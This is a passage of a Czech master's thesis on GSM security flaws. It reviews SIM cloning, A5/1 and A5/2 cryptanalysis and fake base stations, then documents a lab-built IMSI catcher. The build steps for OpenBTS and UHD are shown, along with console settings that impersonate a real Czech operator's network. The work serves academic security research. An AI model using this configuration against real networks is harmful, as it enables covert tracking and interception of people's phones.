zakaznika, kterému neni poskytnuto bezpecné zazemi.

Z vySe zminéného vyplyva, ze hlavnim objektem zajmu utoCnika je zisk tajného
Sifrovaciho klice K;, ktery se nachdzi na SIM karté¢ a AuC . Z kapitoly 1.2 vime, ze kli¢ K; se
pouziva jak pro autentizaci uzivatele, tak i pro vypocet dalstho klice K., ktery dale slouzi
k sifrovani prenasenych dat. Pro odposlech hovorti je tedy dostacujici pouhd znalost klice K..
Detailn¢ji bude tato problematika rozebrana v nasledujicich podkapitolach.

3.1 Klonovani SIM karty

Z historického pohledu se jednalo o prvni popsany zplsob zneuziti chyb v zabezpeceni.
13. Dubna 1998 byl publikovan lanem Goldbergem (ISAAC Security Research Group ) a
Marcem Bricenem (SDA - Smartcard Developer Association) ¢lanek popisujici moznost
klonovani SIM karty. Za pomoci fyzického ptistupu k SIM a jednoduché ¢tecky se jim podafilo
ziskat IMSI a kli¢ K, ktery poté nahrali do nové SIM karty a ziskali tak kopii napadené
karty.[15]

Standart GSM definuje, ze pro autentizaci bude vyuzit libovolny algoritmus na zdkladé
volby operatora, ktery vSak bude odpovidat pozadavkim na autentizaci definovanych jako
A3/8. Jednim znejroz$itenéjSich autentizacnich algoritmi je COMPI128, podstatnym
problémem tohoto algoritmu je, Ze byl vyvijen jako utajeny, coz sebou nese problémy ve formé
nemoznosti odhalit nékteré skryté problémy, které by byly snadnéji odhalitené v ptipade vyvoje
algoritmu v otevieném formatu s moznosti komentait ostatnich odbornik.
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Algoritmus COMP 128 pracuje s dvéma vstupnimi hodnotami — K; a RAND a jednou
vystupni hodnotou. Analyza uniklych informaci o algoritmu COMP128 ukdzala na nizky
rozptyl vystupnich hodnot. Podle udaji ze zpravy je pro ziskani K; potieba algoritmu predlozit
cca. 150 tis. pozadavki. Utok pak probiha hledanim kolizi mezi vystupnimi hodnotami tak, Ze
jsou zadavany dvojice velice blizkych RAND c¢isel — méni se pouze jeden nebo dva byty
zadavaného Cisla a to tim zptsobem, Ze hledame-li 0. a 8. byte klice K; ménime pouze 0. a 8.
byte RAND, pro hledani 1. a 9. byte ménime 1. a 9. byte RAND apod. Je-li vystupem jedné
dvojice RAND stejna hodnota, miizeme na zakladé znalosti algoritmu COMP128 dopocitat
ptislusné 2 byty kli¢e K. [15]

Po ziskani klice K; a IMSI napadené SIM, lze vytvorit klon karty a dale ji vyuzit pro
provadéni extra placenych hovort, zneuziti identity apod. Ackoliv je tento utok velice
jednoduchy na provedeni, nelze jej povazovat za velkou hrozbu v globalnim métitku hned
znékolika divodd. Nejprve je potieba k provedeni utoku ziskat fyzicky ptistup k SIM na
dostatecné dlouhou dobu, pokud se toto Uto¢nikovi podatfi pak nastupuji rizné ochranné
mechanismy novych SIM karet(cca. od roku 2002), omezeny pocet dotazii — po ptekroceni
limitu dojde k zablokovani SIM, umélé zpomaleni vypoctu odpovédi coz velice navySuje dobu
provadeéni ttoku a riziko odhaleni. Dale je mozno mit v siti pfihlaSenou praveé jednu identickou
SIM souc€asné, v piipadé prihlaSeni dalsi SIM se stejnym IMEI dojde pomoci vnitinich
mechanismi sit¢ k zablokovani ucastnika a nahlaSeni zneuziti[15] Pokud se vSe zminéné
utocnikovi podafi, stale jde o napadeni pouze jediného zafizeni a nejedna se o rozsahlé zneuziti.

3.2 Jednosmérna autentizace

V této Casti se zameiime na dalsi ze znamych bezpecnostnich problému systému GSM.
Syst¢ém GSM je navrzen tak, Ze je ovéfovana pouze identita ucastnika viCi siti, ke které se
jednosmérnad autentizace a vytvari ohromnou skulinu v zabezpeceni GSM sit¢. Je tak mozno
vytvorit falesnou zakladnovou stanici (BTS), ktera se poté tvati jako opravdova BTS operatora,
a mohou se k ni ptipojovat mobilni stanice (MS), aniz by toto odhalili. Na tento problém bylo
upozoriiovano od pocatku GSM systému, ale nebylo to povazovano za hrozbu z divodu velmi
vysokych nakladl na potizeni a provozovani falesné BTS. S nardstajicim rozsirenim sité¢ vSak
také dochazi k vyraznému poklesu nakladti na potizeni a provoz falesné zdkladnové stanice.
V soucasnosti jsou pak dostupna softwarové ovladana radia, kterd s vyuzitim volné¢ dostupného
softwaru pro zpracovani signalu snizuji naklady na tento zplsob zneuziti na zanedbatelnou
castku. [16]

3.3 Prolomitelnost algoritmu AS

V kapitole 2 zabyvajici se zabezpecenim GSM je zminén utajeny vyvoj Sifrovacich
algoritmt AS. Diky tomuto nebylo mozno dlouhou dobu ziskat pristup k vlastni implementaci
tohoto algoritmu a nebylo tak mozné ovéfit vilastni bezpecnost. Po zvefejnéni implementace
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A5/2 vroce 1999 byla ihned pod vedenim Iana Goldberga vypracovana analyza upozoriiujici na
kritické problémy v zabezpeceni umoznujici real-time prolomeni Sifrovani za vyuziti bézného
PC. Popis jejich utoku vsak pracoval se znalosti neSifrovanych dat a pro praktickou
implementaci nebyl optimalni. V roce 2003 byla zvefejnéna zprava popisujici prolomeni
zabezpeceni pouze na zakladé znalosti malého mnozstvi Sifrovanych dat. Jejich implementace
vychazi z vlastnosti GSM systému, kdy jsou Casto odesilainy prazdné Sifrované ramce se
znamym obsahem — dopliikové bity. Tento princip umoznil roz§iit provedite nost tohoto titoku
nasledn¢ ina bezpecnéjsi Sifru A5/1.[15][16]

V kombinaci s moznosti podvrzeni zakladnové stanice, pak bylo mozné ziskat kli¢ K.
pro komunikaci ifrovanou libovolnym algoritmem. Utoénik zachyti vyzvu RAND a naslednou
Sifrovanou komunikaci. Nasledné vyuzitim podvrzené BTS vyuzije stejnou hodnotu RAND pro
autentizaci v ramci vlastni sit¢ s aplikovanym §ifrovanim A5/2. Po provedeni vyse popsaného
utoku tak ziska Sifrovaci kli¢, ktery miize nasledné vyuzit k desifrovani dfive zachycenych dat a
v tomto pripadé nezalezi na pouzité Siffe.[16]

3.4 Absence zabezpeceni v paterni siti

Specifikace GSM vilibec nefesi zabezpeceni komunikace uvnité vlastni sit€ operatora.
Signaliza¢ni protokol SS7 pouzivany v pateini siti systému neposkytuje dostatecné zabezpeceni
a autentizaci v ramci vzajemné propojené sit¢ riznych operator. Pfi rozSitovani IP siti pro
propojeni jednotlivych prvkii systému GSM je potieba brat v potaz také obecné hrozby zneuziti
souvisejici s globalni siti. V ptipadé proniknuti Gtocnika do vnitini sit€¢ mtze podvrhnutim
jednoho z prvki systému ziskat pristup ke kritickym castem jako je HLR, VLR popi. AuC.[16]
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4 Realizované atoky

V této kapitole jsou popsany zakladni principy nékterych tutokdi vyuzivajicich
bezpecnostnich chyb systému GSM k neopravnénému zdsahu do soukromi uzivateli. S velkou
pravdépodobnosti Ize predpokladat vyuzivani riznych proprietarnich feseni na Grovni vladnich
a bezpecnostnich agentur. V této praci jsem se vSak zaméfil predev§im na provedeni utokd za
vyuziti voln¢ dostupnych prostiedka.

4.1 IMSI catcher pomoci USRP

Jiz od roku 1996 jsou dostupna prvni komercni feSeni IMSI catcher vyvijenych firmou
Rhode& Schwarz. Moznost vyuziti USRP pro provozovani IMSI catcher byla popsana Chrisem
Pagetem v ramci konference 26C3 a nasledné prakticky predvedena na konferenci DEF CON
30. Srpna 2010.

Vyuziva programovatelného radia USRP 1 ve spolupraci s open-source implementaci
GSM protokolu — OpenBTS. Naslednou jednoduchou konfiguraci OpenBTS, kdy jsou
nastaveny identifika¢ni hodnoty MCC a MNC zdkladnové stanice je dosazeno zprovoznéni
podvrzené¢ BTS jednoho z lokdlnich operatort. Upozornil také na zablokovani notifikace
pouzitého Sifrovani koncovému uzivateli.

Podrobnéjsi informace a samotny pribéh prezentace je dostupny v anglictiné na
webovych strankach konference.[17]

4.2 Pasivni odposlech pomoci USRP

Tento utok byl poprvé prakticky pfedveden v ramci 26. konference 3C Chrisem
Pagetem a Karstenem Nohlem 27. 12. 2009 v Berlin¢.

Vlastni utok se sklddd ze dvou zakladnich casti. Prvni Casti je pasivni zachyceni
komunikace mezi BTS a MS pomoci softwarového radia USRP, druhym krokem pak je ziskani
Kc¢ pro desifrovani zachycenych dat.

Pro zachyceni komunikace je vyuzit nastroj zalozeny na open-source GNU Radio,
umoziujici jednoduchou obsluhu zatizeni USRP. Nasledna interpretace zachyceného signalu
vychazi z implementace GSM rozhrani v OpenBTS, pro tento ukol byl na této konferenci
zvefejnén nastroj Airprobe. Airprobe umoziuje zachyceni downlink komunikace na jediném
radiovém kanalu bez podpory frekvenénich preskokd.[17][19]

Komplexnéj§im ukolem pak bylo prolomeni S§ifrovaciho algoritmu AS5/1. Princip
prolomeni tohoto Sifrovani vychazi ze znalosti obsahu nékterych Sifrovanych zprav. Toto je
obdobou prolomeni A5/2 popsané v kapitole 3.3. Jelikoz se jedna o proudovou Sifru, Ize operaci
XOR shodné zpravy v §ifrované a plain-textové podobé¢ ziskat proud bitd (tzv. keystream)
pouzity k jejich zaSifrovani.[14]
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Pomoci pfedem vypoctenych tabulek pak lze na zaklad¢é keystreamu ziskat pouzity
Sifrovaci klic. Aby byl vSak tento krok proveditelny je potieba ziskat tento kli¢ v rozumném
Case za vyuziti dostupnych pamétovych prostredkll. Délka klice K. je 64 bitli a nabyva tedy
hodnot z mnoziny 2** stavil. Pro uloZeni viech t&chto stavii do tabulky by bylo potieba 64 * 2°*
bit = 134 217 728 TB paméti. Bylo teda potieba pristoupit k mechanismiim, které umozni
zredukovat pamétovou narocnost na zvladnutelnou miru. Timto mechanismem je TMTO
(Time-memory trade-off), kdy na tkor navySeni vypoCetntho Casu je dosazeno nizSich
pamétovych narok.[14][18]

Celkovou vypocetni a pamétovou naro¢nost bylo mozné vyrazné snizit vyuzitim
vlastnosti systému GSM popsaném profesorem Golicem v praci Cryptanalysis of Alleged A5
Stream Cipher, kde popisuje chybu v implementaci Sifry AS5/1, kdy dojde k redukci
dosazitelnych stavii na 14% plvodni teoretické hodnoty 2°*. Tento problém souvisi
s provedenim 100 cykli pti inicializaci Sifrovacich registri. Na zakladé pokusii, kdy provedl
100 reverznich cykli na mnozin€¢ 1 milionu stavli, dosel k zavéru, ze v 86% pripadi neni
pocatecni stav dosazitelny.[19]

Jednou z metod pro efektivni ulozeni pfedem vypoctenych dat je vyuziti tzv.
rozli§itelnych bodl (Distinguished points), kdy nejsou do vysledné tabulky uloZeny vSechny
dvojice pocatecnich a koncovych stavil, ale pouze nékteré spliujici predem zvolenou podminku,
napt. maji poslednich 16 bitd nulovych. Timto dojde k vyraznému snizeni poctu potiebnych
pristupti do tabulky. Aby nedochazelo ve vysledné tabulce k ukladani duplicitnich koncovych
stavll, které by nasledné zptsobily zacykleni. Proto byla pro vypocet nasledujiciho stavu vyuzita
mirné odlisna funkce nez v ptedchozim kroku. Vysledna tabulka se pak nazyva Rainbow table
a minimalizuje vyskyt redundantnich zaznami. [14][16]

Vyuzitim té€chto technik doslo ke snizeni pamétové narocnosti na 2TB predvypoctenych
tabulek rozdélenych na 41 ¢asti umoznujici distribuované vypocty — tzv. Berlin rainbow tables
set s celkovym pokrytim 19,13% moznych stavt.

Spolecné s tabulkami byla na konferenci zvetejnéna aplikace kraken obstaravajici
potiebné vypoCty a pristup k tabulkdm. Vstupni hodnotou pro ziskani Sifrovaciho klice je
vlozeni XORu Sifrovaného burstu a znamého plain-text ekvivalentu. Pro tuto potiebu jsou
vyuzity bursty se zndAmym obsahem, které se vyuzivaji predevsim jako vyplikové v piipade
kdy, BTS nemé zadna data k odeslani.

Video prezentace a dalsi podrobnosti jsou dostupné na[18].

4.3 Pasivni odposlech pomoci OsmocomBB

Piedchozi Gtok za vyuziti USRP umozioval zachyceni komunikace pri, které nedochéazi
k frekvenénim pieskokiim na radiovém rozhrani. Pro podporu frekvencnich preskokti s vyuzitim
USRP by bylo potfeba implementovat tuto funkcionalitu pfimo do programovateiného pole
FPGA. Jako jednodussi varianta se ukdzalo vyuziti mobilniho telefonu s upravenym firmware,
ktery pracuje s jednim fyzickym kanalem.
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Toto bylo predstaveno na konferenci 27C3 (Chaos Computer Conference) vramci
prezentace Karstena Nohla a Sylvaina Munauta. Firmware vyuzity pro provoz MS byl vytvoien
v ramci projektu OsmocomBB, ktery se zamétuje na open-source implementaci GSM protokolu
na stran¢ mobilniho zafizeni.

Za vyuziti levného mobilniho telefonu Motorola a upraveného firmware OsmocomBB
predstavili moznost zachyceni komunikace v obou smérech MS<->BTS 1 v piipad¢ kdy dojde
k zavedeni frekvencnich pieskoki, které primarn¢ slouzi k potlaceni ruseni. Bylo potieba obejit
proces desifrovani signalu, ktery probiha na nejniz$i Urovni tak, aby byla dostupna Cista
Sifrovana data, které je mozno nasledné vyuzit pro ndstroj kraken, predstaveny v predchozi
kapitole.

Nasledujici krok pro prolomeni Sifrovani je totozny s pribéhem popsanym v predchozi
casti.  Podrobnéjsi  informace a video zkonference je dostupné z  [20].
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5 Prakticka realizace

Soucasti této diplomové prace bylo praktické provedeni vybranych typi Utoku vici
GSM siti. Pro realizaci byly zvoleny nasledujici 3 scénafe zneuziti GSM sité:

1) IMSI catcher — zafizeni slouzici k ziskdni informaci o koncovych zatizenich
pohybujicich se ve zvolené oblasti

2) Falesna BTS — podstatou je vytvoreni falesSné zakladnové stanice, ktera umoziuje
po piipojeni MS na danou BTS kontrolovat veskerou komunikaci

3) Pasivni odposlech — odchyceni komunikace mezi BTS a MS obéti, prolomeni
zabezpeceni a nasledné pristup k soukromé komunikaci

Provozovani zafizeni v licencovanych pasmech je v CR upraveno zékonem &. 127/2005
Sb., o elektronickych komunikacich. Aby nedochazelo k ruSeni komunikace, bylo veskeré
testovani provadéno v laboratofi N211 katedry Telekomunikaci pii VSB-TU Ostrava
s nastavenim vykonu vysilace tak, aby nedochazelo k ovlivnéni okolniho signalu.

V piipadé, kdy dochazelo k zachyceni/desifrovani komunikace, bylo tak provedeno
pouze pro testovaci zafizeni.

5.1 Pouzita zarizeni a software

Pted vlastnim popisem realizace utokil jsou v nasledujicich podkapitolach popsany
zatizeni a softwarové nastroje vyuzivany v ramci této diplomové prace. Instalace a konfigurace
jednotlivych zatizeni bude podrobnéji popsana v kapitolach vénujicich se jednotlivym tatoktim.

5.1.1 USRPN210

USRP (Universal Software Radio Peripheral) jsou softwarové fizené radiové zatizeni.
Byly navrhnuty a v soucasnosti prodavany firmou Ettus Research LLC., ktera je nyni soucasti
spolec¢nosti National Instruments. USRP byla navrzena jako low-cost platforma pro tvorbu
softwarového radia. USRP jsou s hostujicim zatfizenim (pocitacem) propojeny pomoci USB
(USRP 1) nebo pomoci Gigabit Ethernetu (napt. USRP N210).[22]

K obsluze a komunikaci mezi USRP a PC je vytvofen open-source ovlada¢ UHD
(USRP Hardware Driver) poskytovany Ettus Research.

Konfigurace jednotlivych USRP je modularni a je mozno ji ptizptsobit dle pozadavki.
Pro tuto praci byl vyuzit modul WBX. Jedna se o Siroko pasmovy transceiver poskytujici
vystupni vykon az 100 mW. Umoziuje zaroven nezavisle provozovat vysila¢ i ptijimac ve
frekvencnim rozsahu 50 MHz — 2,2 GHz.[22]

USRP N210 umoznuje pouziti externtho zdroje hodinového signalu popi. vyuziti
referen¢niho hodinového zdroje za vyuziti modulu pro piijem GPS signélu.

Vyuzitim programovatelnych hradlovych poli FPGA bylo dosazeno vysoké
propustnosti az 100MS/s a zaroven umoziuji jejich upravu pomoci prehrani firmwaru FPGA.
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5.1.2 DVB-T/DAB USB Dongle

Toto zatizeni bylo primarné urceno k prijmu DVB-T signalu, pro ptijem tohoto signalu
je také vybavené HW demodulatorem. Podpora zpracovani dalSich typt signalu DAB nebo FM
je dosazena vyuzitim A/D prevodniku, ktery poskytuje Cista I/Q data pro naslednou softwarovou
demodulaci.

Zatizeni je zaloZeno na chipsetu Realtek RTL2832U a je vybaveno laditelnym tunerem
Rafael Micro R820T. Toto umoznuje vyuziti zafizeni v rozsahu frekvenci 35 MHz az 1100
MHz, coz zahrnuje pasmo GSM 900. [23]

Pro pfijem signalu je zatizeni vybaveno konektorem MCX, ktery umoziuje po piipojeni

prechodového ¢lenu MCX -> SMA vyuzit Siroké spektrum antén. Zafizeni je mozné vidét na
obrazku 5.1

Obrazek 5.1: DVB-T prijimac

5.1.3 GNU Radio

GNU Radio je opensource softwarovy balik poskytujici nastroje ke zpracovani signalu
za vyuziti softwarového radia. Umoziiuje vyuzit jak externi hardware v podobé radiového
prijimace k vytvoreni SDR (software defined radio) nebo také umoznuje vytvoreni
simulovaného prosttedi pro testovani a vyvoj.

V ramci této prace bylo GNU Radio vyuzito predev§im jako zaklad pro dalsi nastoje
OpenBTS a Airprobe, které jsou na knihovnach GNU Radio siln¢ zavislé.

Dale byl pouzit nastroj GRC (GNU Radio Companion), ktery umoznuje tvorbu schémat
v grafické prostiedi a naslednou automatizovanou tvorbu skriptt.

5.1.4 OpenBTS

OpenBTS (Open Base Transceiver station) je UNIXovou aplikaci vytvorenou a
vyyjenou skupino Range Networks. Vyuziva softwarové radio k vytvoieni zakladnové stanice
sit¢ GSM umoziujici pripojeni GSM kompatibilnich mobilnich zatizeni.

OpenBTS implementuje funkce radiového rozhrani Um v GSM architektufe. Pro funkce
na nejvyssi vrstvé pak vyuziva SIP softswitche popt. PBX pobockové ustredny k vlastnimu
propojeni hovord. Kombinace globalniho standartu GSM a VoIP umoziuje vytvofit a
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provozovat nizkondkladové sit¢ s minimadnimi nadklady na provoz ve srovnani s klasickymi
GSM sitémi soucasnych poskytovatelt.

Ptrehled casti implementovanych v OpenBTS (v zivorce je uvedena zdrojova
dokumentace GSM ETSI specifikace)[24] :

L1 — funkce TDM (GSM 05.02)

L1 — funkce FEC (GSM 05.03)

L1 — ¢asovani, synchronizace (GSM 05.08 a 05.10)

L2 — LAPDm (GSM 04.06)

L3 — Radio Resource management — nahrada BSC (GSM 04.08)

L3 — GSM-SIP brana pro mobility management — nahrada HLR a VLR registru
L3 — GSM-SIP brana pro signalizaci hovorii — nahrada MSC

L4 — GSM-SIP brana pro zpravy SMS

Full-Band
Digital Radio
Transceiver
UDP/USB
" - smqueue
qranscevier RFC-3428 SIP/RTP
SMS Processor IAX
| l HTTP/S
UDP SIP sQL sﬁﬁp SMTP
"g%mg[s" SIP subscriber registry SIP IP Network
SQL Database/Server HTTP/S Interface
Protocol Processor
SIP/RTP saL SIP/RTP

‘ IAX

SIP/IAX
Softswitch

Obrazek 5.2: Komponenty OpenBTS ajejich komunikacni kanaly
[Zdroj: Range Network: OpenBTS User Manual]
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Obrazek 5.2 zobrazuje funkéni propojeni jednotlivych entit systému OpenBTS. Popis
k obrazku:

.oy

Full-Band Digital Radio Transceiver — USRP pouzité jako vlastni ptijimac/vysilac

Transceiver radiomodem — Obstarava funkce na fyzické vrstvé L1 GSM architektury

OpenBTS — vlastni aplikace — popis viz vyse (Ptehled implementovanych casti)

smsqueue — server slouzici v systému OpenBTS k preposilani SMS zprav mezi
jednotlivymi uzivateli.

Subscriber registry — OpenBTS vyuziva upravenou variantu SIP registru pro spravu
ucastnikt. Tato databaze slouzi jako nahradu za HLR

SIP Softswitch/PBX — slouzi k obsluze hovorti v systému OpenBTS, oficialn¢ je pro
pracis OpenBTS doporuceno pouziti PBX Asterisk

5.1.5 Asterisk

Asterisk je opensource feSeni urCené pro provozovani komunika¢nich systémi a
aplikaci. Umoziuje provozovat softwarové PBX (pobockova ustfedna), které jsou urceny pro
platformy Unix/Linux. Mezi §iroké moznosti Asterisku patfi napt. VolP gateway, server
interaktivniho hlasového privodce, PBX. Asterisk podporuje Siroké spektrum kodekd (G.711,
p-law, A-law, Speex, GSM ...), zahrnuje jak VoIP technologie (SIP, H.323, IAX,
MGCP) tak i tradi¢ni technologie (T1, ISDN, analogové POTS a PSTN).[25]

Asterisk je zpohledu architektury rozdélen na jadro a dodatecné moduly, které
jsou nacitany podle aktudlni potieby, coz vede ke zvysSeni efektivnosti celého
systému. [25]

Asterisk byl zvolen v této DP pro spolupraci s OpenBTS z divodu, Ze se jedna o
nejrozSitenéj$i a ze strany OpenBTS nejvice podporované tfeseni. Pii tomto feSeni je
kazdé koncové zatizeni GSM sité registrovano v Asterisku jako koncovy SIP uzivatel.
Uzivatelé jsou registrovani na zakladé IMSI, kdy je poté potieba pro kazd¢ IMSI vlozit
do konfigura¢niho souboru asterisku.

5.1.6 rtl-sdr

Jedna se o samostatnou cCast softwarového baliku zrodiny osmocom. Software
umoziuje komunikovat se zatizenim, které je zalozeno na Cipsetu Realtek RTL2832U a pouzit
tak zafizeni jako velice levné softwarové radio (SDR — software defined radio). Vyuziva
vlastnosti tohoto chipsetu, kdy dochazi k odesilani surovych dat ptes USB rozhrani a az
k nasledné softwarové demodulaci signalu.[23]

Pro vlastni komunikaci se zafizenim je vyuzito knihovny librtlsdr. Balik obsahuje
nékolik dalsich nastroji, které slouzi k praci se ziskanymi daty.
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rtl sdr — umoznuje ulozeni ziskanych vzorkd do vystupniho souboru, tento nastroj byl
primarné vyuzivan pii pasivnim odposlechu provadéném v ramci této diplomové prace (kap.
5.4)

rtl fm — zachyceni a demodulace FM signalu

rtl tcp — slouzi k ptistupu a ovladani rtl-sdr pomoci vzdaleného sitového piistupu

5.1.7 Airprobe

Airprobe je softwarovy nastroj slouzici k analyze GSM komunikace. Formaln¢ jej Ize
rozdélit na 3 zakladni ¢asti[19]:

e Ziskani dat
e Demodulace ziskanych dat
e Interpretace dat

Pro ziskdvani dat Airprobe vyuzivd nastroji ze softwarového baliku GNURadio.
Vétsina téchto nastrojii je hardwarové zavislych, v soucasné dobé jsou podporovany dva
zakladni typy hardwaru a to USRP (vice v kap. 5.1.1) a SDR (kap. 5.1.2)

Demodulace — jak nazev napovida, tato ¢ast slouzi k vlastni demodulaci ziskanych
surovych dat.

Interpretace dat — tato Cast obsahuje veskeré nastroje pro zpracovani — parsovani a
dekodovani ziskanych dat. Nastroj umoznuje data obalit za vyuziti protokolu gsmtap pro jejich
naslednou vizualizaci v aplikaci Wireshark. Nastroj také umoznuje nasledné deSifrovani dat
zabezpecenych algoritmem A5 pokud je poskytnut Sifrovaci klic.

5.2 IMSI catcher

IMSI catcher je zatizeni slouzici k identifikaci uzivatele ziskanim jeho IMSI. K ziskani
IMSI vyuziva vytvoreni falesné BTS, ke které se nasledné piipoji okolni mobilni stanice a dojde
k odeslani IMSI, aby bylo moZno ptipojené zatizeni identifikovat (viz kap. 2.1.1).

IMSI catcher vyuziva viastnosti GSM sité, kdy nedochazi k autentizaci BTS vici MS, a

je tak mozno ji podvrhnout.

Pro vytvoreni IMSI catcheru v ramci této prace bylo vyuzito zatizeni USRP spolecné
s OpenBTS. Konfigurace, nastaveni a vlastni dokumentace provedeni je popsdna v nasledujicich
podkapitolach.

Teoreticky prabéh utoku je znazornén na obrazku 5.3 — je vytvorena falesna BTS
s podvrhnutou identitou, v okamziku kdy dojde k ptipojeni MS v dosahu falesné¢ BTS je v ramci
procesu identifikace MS viici BTS zaznamenana hodnota IMSI.
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[

USRP OpenBTS

IMSI catcher

Obrazek 5.3: Scénar utoku - IMSI catcher

5.2.1 Instalace a konfigurace softwaru

Pro instalaci byla zvolena verze OpenBTS 2.8. Software byl kompilovan ze zdrojovych
soubord. Vychozim navodem pro postup byl manual OpenBTS.[24]

svn co http://wush.net/svn/range/software/public

Pted vlastni kompilaci OpenBTS je potieba doinstalovat nezbytné zavislosti.
UHD 003.005.002

wget https://github.com/EttusResearch/UHD-
Mirror/archive/release 003 005 002.tar.gz
tar -xzf release 003 005 002.tar.gz

Pted kompilaci UHD je potieba nainstalovat dalsi zavislosti :

sudo apt-get install libboost-all-dev libusb-1.0-0-dev python-cheetah
doxygen python-docutils cmake

Kompilace UHD :

cd release 003 005 002/host
mkdir build

cd build

cmake ../

make

make test

sudo make install

sudo ldconfig

Dalsi zavislosti OpenBTS :
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autoconf libtool libosip2-dev libortp-dev libusb-1.0-0-dev g++ sglite3
libsglite3-dev erlang build-essential subversion

Pted vlastni kompilaci OpenBTS bylo jesté potieba doinstalovat knihovnu liba53, ktera
je zahrnuta v baliku OpenBTS.

V kotenovém adresari OpenBTS:

cd a53/trunk
sudo make install

Poté je mozno piistoupit k vlastni instalaci OpenBTS ze zdrojového kddu

cd openbts/trunk
autoreconf -i
./configure --with-uhd
Make

Vytvoreni symbolického odkazu na aplikaci transceiver:

cd apps
ln -s ../Transceiverb2M/transceiver

V tomto okamziku bylo mozno ptistoupit k vlastni konfiguraci OpenBTS pro pouziti
jako IMSI catcher.

Pro ulozeni konfigurace je v projektu OpenBTS vyuzita externi SQLite databaze, jeji
micializaci provedeme nasledovné:

sudo mkdir /etc/OpenBTS
sudo sglite3 -init ./apps/OpenBTS.example.sgl /etc/OpenBTS/OpenBTS.db
" .quit"

5.2.2 Pribéh utoku
Spusténi OpenBTS :

cd apps
sudo ./OpenBTS

Po spésném spusténi by se méla v okné terminalu zobrazit informace o ptipravenosti
systému:

system ready
use the OpenBTSCLI utility to access CLI

Pfi pouziti defaultni konfigurace je vytvorena sit’ identifikovana jako testovaci — MCC
001 MNC 01. Je zakazana registrace novych zafizeni. Proto je potfeba provést konfigurace
parametrd pro potieby IMSI catcheru.

V nasledujici tabulce mizete vidét piehled MCC a MNC ceskych komerénich mobilnich
operatoru.
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Tabulka 5.1: Piehled MCC a MNC ¢eskych operatord

Provozovatel MCC MNC Nazev

T-Mobile Czech Republic a.s. 230 01 T-Mobile — CZ
Telefonica O2 Czech republic a.s. 230 02 02-CZ
Vodafone Czech Republic ass. 230 03 Vodafone
Mobilkom a.s. 230 04 U:fon

Vodafone Czech Republic a.s., R&D Centre 230 99 Vodafone / CVUT

Dale je potieba zvolit vhodny kanal ARFCN tak, aby nedochazelo k vzajemnému ruseni
s okolnimi BTS operatora. Piehled rozdéleni kandli mezi jednotlivé operatory je obsazen
v priloze této prace.

Je potieba ptipomenout, ze obsluhujici BTS pomoci kanali BCCH a informacnich
zprav zasila MS seznam okolnich BTS na kterych MS nésledné provadi méfeni urovné signali,
na zakladé namétrenych hodnot mtize dojit k reselekci BTS.

Podminky pro ptepojeni MS k jiné nez aktudIné ptipojené BTS [26]:

1) Hodnota C2 pro neobsluhujici BTS je vys$$i nez hodnota C2 pro obsluhujici
BTS po dobu 5s, toto plati pro ptipad, kdy jsou obé BTS ve stejné oblasti (maji stejny LAI).

2) Rozdil hodnoty C2 pro neobsluhujici a obsluhujici BTS je vy$$inez parametr
CELL RESELECTION HYSTERESIS, tento parametr je distribuovan na kanalu BCCH
aktualné obsluhujici BTS, toto plati pro ptipad, kdy jsou BTS v rozdilnych oblastech.

3) Hodnota C1 pro obsluhujici BTS spadne pod nulovou hodnotu (C1 < 0) po dobu
5s . Toto znaci, ze doslo k poklesu urovné signalu pod minimalni troven.

4) Dojde k blokovani/odstaveni aktualni BTS

5) Na MS vyprsi casovy interval DSC (Downlink Signaling Failure Counter),
ktery znac¢i chybu ve spojeni s BTS, poté dochazi k prohledani celého GSM spektra podobné
jako v pripade po zapnuti MS

Pro konfiguraci IMSI catcheru jsem zvolil pristup pomoci 2. podminky pro piepojeni
MS k IMSI catcheru. Pro provedeni testti jsem disponoval SIM kartou operatora O2 Telefonica
a proto bylo potfeba provést monitoring okolich BTS tohoto operatora. Abych dosahl co
nejrychlejSiho prechodu MS k IMSI catcheru zvolil jsem ARFCN stejné jako méla BTS
s nejniz§i hodnotou Urovné signalu, jez byla uvedena v seznamu okolnich BTS. Pro zobrazeni
kvality signalu byla pouzita aplikace GSM Signal monitoring pro Android. Pribéh méteni je
zachycen v nasledujici tabulce 5.2. Tabulka zahrnuje informace o aktudlné obsluhujici
zakladnové stanici (tu¢n€ zvyraznéna) a informace z méfeni kvality signalu sousednich BTS.
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Tabulka 5.2: Meéreni signalu okolmich BTS

Cell ID LAC ARFCN  Ollasignilu
[dBm]
7047 1713 84 95
17051 1713 94 -101
27108 1713 46 1103
17041 1713 45 1103
17050 1713 87 1105

Provedeni konfigurace OpenBTS pro provozovani IMSI catcher prostiednictvim
konzolového ptistupu k OpenBTS :

config Control.LUR.OpenRegistration .* // umoZni registraci vs3ech
zatrizeni

config GSM.Radio.Band 900 // volba GSM pasma 900

config GSM.Radio.CO 87 // nastaveni ARFCN

config GSM.Identity.MCC 230 // nastaveni MCC operdtora 02

config GSM.Identity.MNC 02 // nastaveni MNC operatora 02

config GSM.Identity.ShortName 02-CZ // nastaveni nazvu sité
config GSM.Identity.ID 10 // nastaveni Cell ID

config GSM.Identity.LAC 1714 //nastaveni LAC

Po této konfiguraci bylo potieba restartovat aplikaci OpenBTS, aby doslo k aplikovani
nového nastaveni.

Nasledujici tabulka 5.3 znazoriiuje vysledky méteni kvality signdlu okolnich BTS jesté
pred okamzikem neZ doslo k pfipojeni na BTS s vyssi kvalitou signalu. Je mozno vidét stale
stejnou obsluhujici BTS s Cell ID 7047, nasledné vSak druha v poradi je jiz podvrzena BTS
v podob¢ IMSI catcheru. Nasledn¢ dochazi k handoveru MS k BTS se siln€¢j§im signalem. Je
potfeba zminit, ze pii t€chto méfenich neni spravné zobrazeno Cell ID a LAC IMSI catcheru,
podle dostupnych informaci se jedna o problém v metici aplikaci.

Tabulka 5.3: MerFeni signalu okolnich BTS po spusteni IMSI catcheru

Cell ID LAC ARFCN  Ollasignilu
[dBm]
7047 1713 84 89
17050 1713 87 51
27108 1713 46 1103
17051 1713 45 1105
17041 1713 87 1105
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Pfi testovani bylo zjiSténo, ze u riznych mobilnich zatizeni dochazi k rozdilnému
chovani v okamziku, kdy by mélo ptijit k pfepojeni na BTS se siln€j$im signalem. VétSina
starSich zafizeni se pripojovala na OpenBTS téméi okamzit€, po provedeni méfeni a vypoctu
hodnoty C2. Toto bylo otestovano na telefonech Nokia 3210, Nokia 62301 a LG C3300.
V piipadé novéjSich zatizeni dochazelo k rozdilnému chovani. Napt. Samsung Galaxy S2,
Apple IPhone 4 se pfipojili opét témét ihned, na rozdil od zatizeni Gigabyte GSMART Roma
